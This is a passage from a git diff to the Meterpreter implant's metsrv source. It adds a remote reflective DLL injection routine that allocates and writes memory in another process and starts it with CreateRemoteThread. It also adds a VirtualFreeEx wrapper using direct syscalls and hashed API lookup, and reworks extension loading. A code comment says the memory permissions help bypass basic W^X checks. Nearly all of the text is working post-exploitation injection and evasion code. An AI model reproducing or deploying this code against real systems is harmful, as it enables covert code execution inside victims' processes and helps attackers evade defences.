pNtHeaders)); + + // Use strcmp for a precise match. + if (strcmp(cpExportedFunctionName, cpReflectiveLoaderName) == 0) + { + WORD wFunctionOrdinal = pwNameOrdinals[i]; + DWORD dwFunctionRva = pdwAddressArray[wFunctionOrdinal]; + return Rva2Offset(dwFunctionRva, pNtHeaders); + } + } + } + + return 0; +} + +HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName) +{ + HMODULE hResult = NULL; + DWORD dwReflectiveLoaderOffset; + REFLECTIVELOADER pReflectiveLoader; + DLLMAIN pDllMain; + DWORD dwOldProtect; + + if (lpBuffer == NULL || dwLength == 0) + return NULL; + + // Find the file offset of the reflective loader function. + dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); + if (dwReflectiveLoaderOffset == 0) + return NULL; + + pReflectiveLoader = (ULONG_PTR)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); + + // Make the buffer executable so we can call the loader. + if (!met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect)) + return NULL; + + // Call the loader, which performs the mapping and returns a pointer to the new DllMain. + pDllMain = (DLLMAIN)pReflectiveLoader(); + if (pDllMain == NULL) + { + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); + return NULL; + } + + // Query the newly loaded DllMain for its module handle. + if (!pDllMain(NULL, DLL_QUERY_HMODULE, &hResult)) + hResult = NULL; + + // Revert the original buffer's memory protection. + met_api->win_api.kernel32.VirtualProtect(lpBuffer, dwLength, dwOldProtect, &dwOldProtect); + + return hResult; +} + +HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter) +{ + LPVOID lpRemoteLibraryBuffer = NULL; + HANDLE hThread = NULL; + DWORD dwResult = ERROR_SUCCESS; + do { + if (!hProcess || !lpBuffer || !dwLength) + return NULL; + // Find the loader's offset within the file buffer. + DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer, cpReflectiveLoaderName); + if(dwActualReflectiveLoaderOffset != 0) { + dprintf("[LOADREMOTE] Using effective reflective loader offset: %lu\n", dwActualReflectiveLoaderOffset); + dwReflectiveLoaderOffset = dwActualReflectiveLoaderOffset; + } + + if (dwReflectiveLoaderOffset == 0) { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to find reflective loader offset", ERROR_INVALID_DATA); + } + + // Allocate memory in the remote process for the DLL. + lpRemoteLibraryBuffer = met_api->win_api.kernel32.VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!lpRemoteLibraryBuffer) { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to allocate memory in remote process", ERROR_OUTOFMEMORY); + } + + // Write the entire DLL buffer into the allocated remote memory. + if (!met_api->win_api.kernel32.WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to write library into remote process memory", ERROR_WRITE_FAULT); + } + + // Set initial memory permissions to Execute+Read. The loader will later set final + // permissions on each section, but this helps bypass some basic W^X checks. + DWORD dwOldProt; + if (!met_api->win_api.kernel32.VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt)) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to set memory protection in remote process", ERROR_INVALID_PARAMETER); + } + + // Calculate the absolute address of the reflective loader in the remote process. + LPTHREAD_START_ROUTINE lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); + + // Create a remote thread to execute the loader. + hThread = met_api->win_api.kernel32.CreateRemoteThread(hProcess, NULL, 1024 * 1024, lpReflectiveLoader, lpParameter, 0, NULL); + if (!hThread) + { + BREAK_WITH_ERROR("[LOADREMOTE] Failed to create remote thread", ERROR_INVALID_PARAMETER); + } + } while (FALSE); + + if(dwResult != ERROR_SUCCESS) + { + if (lpRemoteLibraryBuffer) + { + met_api->win_api.kernel32.VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, 0, MEM_RELEASE); + } + return NULL; + } + return hThread; +} diff --git a/c/meterpreter/source/metsrv/load_library_r.h b/c/meterpreter/source/metsrv/load_library_r.h new file mode 100644 index 000000000..54bf53fcb --- /dev/null +++ b/c/meterpreter/source/metsrv/load_library_r.h @@ -0,0 +1,7 @@ +#include "common.h" +#define DLL_METASPLOIT_ATTACH 4 +#define DLL_METASPLOIT_DETACH 5 +#define DLL_QUERY_HMODULE 6 +typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); +typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); +HANDLE WINAPI load_library_r(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, DWORD dwActualReflectiveLoaderOffset, LPVOID lpParameter); \ No newline at end of file diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index 936be249d..831493747 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -4,6 +4,7 @@ #include "remote_thread.h" #include "unicode.h" #include "winapi.h" +#include "load_library_r.h" MetApi api_instance = { // PacketApi @@ -129,6 +130,9 @@ MetApi api_instance = { inject_via_apcthread, inject_via_remotethread, inject_via_remotethread_wow64, + { + load_library_r, + } }, // DesktopApi { @@ -176,6 +180,7 @@ MetApi api_instance = { winapi_kernel32_VirtualQuery, winapi_kernel32_VirtualQueryEx, winapi_kernel32_VirtualFree, + winapi_kernel32_VirtualFreeEx, winapi_kernel32_CreateRemoteThread, winapi_kernel32_CloseHandle, winapi_kernel32_DuplicateHandle, diff --git a/c/meterpreter/source/metsrv/metsrv.c b/c/meterpreter/source/metsrv/metsrv.c index 93773e661..897ae5688 100644 --- a/c/meterpreter/source/metsrv/metsrv.c +++ b/c/meterpreter/source/metsrv/metsrv.c @@ -12,7 +12,7 @@ #define RDIDLL_NOEXPORT #include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "../ReflectiveDLLInjection/inject/src/GetProcAddressR.c" -#include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" +// #include "../ReflectiveDLLInjection/inject/src/LoadLibraryR.c" DWORD Init(MetsrvConfig* metConfig) { diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 010e1eb78..626af8c61 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -2,6 +2,7 @@ #include "common_metapi.h" #include "common_exports.h" #include "server_pivot.h" +#include "extension_loader.h" #define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord)) #define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord)) @@ -227,6 +228,7 @@ DWORD stagelessinit_extension(UINT extensionId, LPBYTE data, DWORD dataSize) return ERROR_SUCCESS; } + /* * @brief Load an extension from the given library handle. * @param hLibrary handle to the library to load/init. @@ -374,12 +376,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) // If the library is not to be stored on disk, if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) { - LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet); dprintf("[LOADLIB] here 7"); - // try to load the library via its reflective loader... - library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader); - dprintf("[LOADLIB] here 8"); + // try to load the library via the reflective loader... + LoadReflectively((ULONG_PTR)dataTlv.buffer, &library); + dprintf("[LOADLIB] LoadReflectively returned, library is %p", library); + if (library == NULL) { // if that fails, presumably besause the library doesn't support diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index 7572e9931..826264e31 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -9,6 +9,7 @@ #include "server_transport_tcp.h" #include "server_transport_named_pipe.h" #include "packet_encryption.h" +#include "extension_loader.h" extern Command* extensionCommands; @@ -71,7 +72,12 @@ LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExten while (stagelessExtensions->size > 0) { dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); - HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); + HMODULE hLibrary = NULL; + if(LoadReflectively((ULONG_PTR)stagelessExtensions->dll, &hLibrary) == FALSE || hLibrary == NULL) + { + dprintf("[SERVER] Failed to load extension reflectively"); + break; + } load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); } diff --git a/c/meterpreter/source/metsrv/winapi.c b/c/meterpreter/source/metsrv/winapi.c index 01829ec2d..208233c35 100644 --- a/c/meterpreter/source/metsrv/winapi.c +++ b/c/meterpreter/source/metsrv/winapi.c @@ -53,6 +53,7 @@ enum HashedFunctions { H_VirtualQuery = 0xA3C8C8AA, H_VirtualQueryEx = 0xF45A2B20, H_VirtualFree = 0x30633AC, + H_VirtualFreeEx = 0xC3B4EB78, H_CreateRemoteThread = 0x72BD9CDD, H_CloseHandle = 0xFFD97FB, H_DuplicateHandle = 0xBD566724, @@ -575,6 +576,22 @@ BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeTy return FALSE; } +BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) { + if (hasDirectSyscallSupport()) { + SIZE_T dwDataSize = dwSize; + NTSTATUS dwStatus = winapi_ntdll_ZwFreeVirtualMemory(hProcess, &lpAddress, &dwDataSize, dwFreeType); + dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Syscall ZwFreeVirtualMemory returned: %d", dwStatus); + return dwStatus == STATUS_SUCCESS; + } else { + BOOL (WINAPI *pVirtualFreeEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) = GetFunctionH(KERNEL32_DLL, H_VirtualFreeEx); + dprintf("[WINAPI][winapi_kernel32_VirtualFreeEx] Calling VirtualFreeEx @ %p", pVirtualFreeEx); + if (pVirtualFreeEx) { + return pVirtualFreeEx(hProcess, lpAddress, dwSize, dwFreeType); + } + } + return FALSE; +} + HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) { HANDLE (WINAPI *pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) = GetFunctionH(KERNEL32_DLL, H_CreateRemoteThread); if (pCreateRemoteThread) { diff --git a/c/meterpreter/source/metsrv/winapi.h b/c/meterpreter/source/metsrv/winapi.h index 9ce57685d..bba1c7a53 100644 --- a/c/meterpreter/source/metsrv/winapi.h +++ b/c/meterpreter/source/metsrv/winapi.h @@ -59,6 +59,7 @@ BOOL winapi_kernel32_VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T SIZE_T winapi_kernel32_VirtualQuery(LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); SIZE_T winapi_kernel32_VirtualQueryEx(HANDLE hProcess, LPCVOID lpAddress, PMEMORY_BASIC_INFORMATION lpBuffer, SIZE_T dwLength); BOOL winapi_kernel32_VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +BOOL winapi_kernel32_VirtualFreeEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); HANDLE winapi_kernel32_CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); BOOL winapi_kernel32_CloseHandle(HANDLE hObject); BOOL winapi_kernel32_DuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..0cd9df5d0 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -547,6 +547,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -578,6 +579,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -620,4 +622,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" - + \ No newline at end of file diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4fea91254..5be82553e 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -61,9 +62,10 @@ + - + \ No newline at end of file